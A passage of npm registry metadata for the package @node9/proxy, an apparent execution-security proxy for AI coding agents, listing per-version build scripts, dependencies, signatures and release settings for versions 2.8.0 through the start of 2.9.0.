roxy@2.8.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7055262},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"198601fbd93f8996a9abe2ada92c5e56bc2d6bb7","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.8.0_1788433566993_0.49888356194281314","host":"s3://npm-registry-packages-npm-production"}},"2.8.1":{"name":"@node9/proxy","version":"2.8.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.8.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"3e4ee2656162eff69207af3545d2a36b99560d5e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.8.1.tgz","fileCount":17,"integrity":"sha512-AUOlHukUmNXyH/ETo7epVrHsKmr7pMQywkky3CjtYlgjTs3WpKUk1x/rhgej+tHE3AN0qp00UyPB97T2BuH7NQ==","signatures":[{"sig":"MEQCIEIatQjUV9+/MtfD9dPDKSJrfwe/y3F361GNb3ZhF7wSAiBxFCCbdBv40mfhkDR8VxStiSsylP9242eD4Cl32WWrAQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.8.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7055240},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1e1e06451fe36912be7b9a434217e10b6aeac041","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.8.1_1788450379355_0.007570415452083257","host":"s3://npm-registry-packages-npm-production"}},"2.8.2":{"name":"@node9/proxy","version":"2.8.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.8.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d8b7d2627d64d963dd266a6432eb0f1e549c1357","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.8.2.tgz","fileCount":17,"integrity":"sha512-FzIkCfaiwzmSEf9C/aXdNKe4ic/rKdcHFpIEbNcEPo17P1Szg2exKJFcfju5AgFUBYTsGXUVAi0XF+uzXqfuag==","signatures":[{"sig":"MEUCIQC7Uu7bz/CrDryVkLjrgwi78rcgHtZ5mewcU8TPInLMtQIgDV2syYRphop3wQjw5q0tGKeuDHessUso+K12utyX2dQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.8.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7066652},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"41e5c4bfc86ad400d1512908f60ecd3f40499cd4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.8.2_1788472470148_0.8385656565682347","host":"s3://npm-registry-packages-npm-production"}},"2.8.3":{"name":"@node9/proxy","version":"2.8.3","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.8.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7373a48d6c47d214c03784ac81a7103c8a36b825","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.8.3.tgz","fileCount":17,"integrity":"sha512-pG2BspEJ9t57yziCRModyx3CwZ7O0dhyORyZtGaWclul1HkLZCd4DHRow+ej3jHC77lAAx5Q/hxq1TljDTBbKA==","signatures":[{"sig":"MEQCIEoN62Kku/9b0sDgfRB5PjAa7uvuS0FdA8h/H3siTBvgAiAGmtQ/T9J854FMuIMFd+o5ibrAkTypOvBYoozluFp/Kw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.8.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7067618},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"405ba6d159dd8df06985656b54638f88a9f43dcc","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.8.3_1788516466857_0.09457245004966142","host":"s3://npm-registry-packages-npm-production"}},"2.8.4":{"name":"@node9/proxy","version":"2.8.4","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.8.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"923eda797ca58767c462cae80e545f486c5818a4","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.8.4.tgz","fileCount":17,"integrity":"sha512-ruLbJI/u3tNuNyfL/dQ68NX4X9UmA87Aehs04OQNYbFF142RIYPVFszyK8Jf/Z6BWDPlAHyvoqz6GksnByceiw==","signatures":[{"sig":"MEUCIQD/d+hUjvhM0S/73Q5SVGIGs1PGTvkQeWRAyamWd8eovAIgCdFoogNTYKWv1P1V7mDvgHHElCP1EFilrtkcPBSnIAU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.8.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7150025},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9e6517f7e53689a70b2d820d29efb128deb69daa","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.8.4_1788611461102_0.19454495245415315","host":"s3://npm-registry-packages-npm-production"}},"2.8.5":{"name":"@node9/proxy","version":"2.8.5","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.8.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"187c325e23508fd3907f14fd17e3581934056289","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.8.5.tgz","fileCount":17,"integrity":"sha512-VDqAlCHqBLOjV0LpWmzMRK3FH6Fq31nteN41ofKTNYjpaBIOiio0Y3o6o84zSI+6R86+h4WD3E4dE9jDseM+4A==","signatures":[{"sig":"MEUCIB55PuvYdux3u/qR838Ou+/ynhAtzv3zSIPT4YcolMnaAiEAveVnKJDrjJKP5O4zNR4ZnkphnmO7BSeSusECOB4Tqck=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.8.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7151001},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7eb31a8ec2c2951dcc9aeefa957fce5fa0a5af7c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.8.5_1788631740476_0.9670337774897764","host":"s3://npm-registry-packages-npm-production"}},"2.9.0":{"name":"@node9/proxy","version":"2.9.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.9.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":